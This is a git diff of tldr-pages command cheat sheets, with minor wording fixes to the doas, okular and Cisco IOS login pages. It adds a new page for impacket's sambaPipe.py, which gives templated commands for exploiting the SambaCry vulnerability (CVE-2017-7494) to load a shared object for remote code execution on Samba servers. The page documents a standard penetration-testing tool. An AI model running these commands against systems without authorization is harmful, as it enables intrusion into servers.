diff --git a/tldr/cisco-ios/login b/tldr/cisco-ios/login
index b638e286..ebc54fac 100644
--- a/tldr/cisco-ios/login
+++ b/tldr/cisco-ios/login
@@ -5,7 +5,7 @@ source: https://github.com/tldr-pages/tldr.git
 ---
 # login
 
-> Manage line transport protocols.
+> Manage console and virtual line authentication.
 > Accessed in configuration mode under `line`.
 > More information: <https://www.cisco.com/c/en/us/td/docs/routers/sdwan/command/iosxe/qualified-cli-command-reference-guide/m-line-commands.pdf>.
 
diff --git a/tldr/doas b/tldr/doas
index d7b33606..6dd20a45 100644
--- a/tldr/doas
+++ b/tldr/doas
@@ -5,7 +5,7 @@ source: https://github.com/tldr-pages/tldr.git
 ---
 # doas
 
-> Executes a command as another user.
+> Execute a command as another user.
 > More information: <https://man.openbsd.org/doas>.
 
 - Run a command as root:
@@ -22,7 +22,7 @@ source: https://github.com/tldr-pages/tldr.git
 
 - Parse a configuration file and check if the execution of a command as another user is allowed:
 
-`doas -C {{config_file}} {{command}}`
+`doas -C {{path/to/config_file}} {{command}}`
 
 - Make `doas` request a password even after it was supplied earlier:
 
diff --git a/tldr/impacket-sambapipe b/tldr/impacket-sambapipe
new file mode 100644
index 00000000..f2b539b0
--- /dev/null
+++ b/tldr/impacket-sambapipe
@@ -0,0 +1,12 @@
+---
+syntax: markdown
+tags: [tldr, common]
+source: https://github.com/tldr-pages/tldr.git
+---
+# impacket-sambaPipe
+
+> This command is an alias of `sambaPipe.py`.
+
+- View documentation for the original command:
+
+`tldr sambaPipe.py`
diff --git a/tldr/okular b/tldr/okular
index 9241f4a6..6dd61b25 100644
--- a/tldr/okular
+++ b/tldr/okular
@@ -18,7 +18,7 @@ source: https://github.com/tldr-pages/tldr.git
 
 - Open a document at a specific page:
 
-`okular --page {{page_number}} {{path/to/file}}`
+`okular {{[-p|--page]}} {{page_number}} {{path/to/file}}`
 
 - Open a specific document in presentation mode:
 
diff --git a/tldr/sambapipe.py b/tldr/sambapipe.py
new file mode 100644
index 00000000..534bfa88
--- /dev/null
+++ b/tldr/sambapipe.py
@@ -0,0 +1,29 @@
+---
+syntax: markdown
+tags: [tldr, common]
+source: https://github.com/tldr-pages/tldr.git
+---
+# sambaPipe.py
+
+> Exploit CVE-2017-7494 (SambaCry) to upload and load a shared object (SO) file on a vulnerable Samba server for remote code execution.
+> More information: <https://github.com/fortra/impacket>.
+
+- Upload and load a shared object file on a vulnerable Samba server:
+
+`sambaPipe.py -so {{path/to/file.so}} {{domain}}/{{username}}:{{password}}@{{target}}`
+
+- Authenticate using NTLM hashes instead of a password:
+
+`sambaPipe.py -so {{path/to/file.so}} -hashes {{LM_HASH:NT_HASH}} {{domain}}/{{username}}:{{password}}@{{target}}`
+
+- Use Kerberos authentication for the target:
+
+`sambaPipe.py -so {{path/to/file.so}} -k -no-pass {{domain}}/{{username}}:{{password}}@{{target}}`
+
+- Specify a domain controller IP for authentication:
+
+`sambaPipe.py -so {{path/to/file.so}} -dc-ip {{dc_ip}} {{domain}}/{{username}}:{{password}}@{{target}}`
+
+- Use a custom port for the SMB connection:
+
+`sambaPipe.py -so {{path/to/file.so}} -port {{port}} {{domain}}/{{username}}:{{password}}@{{target}}`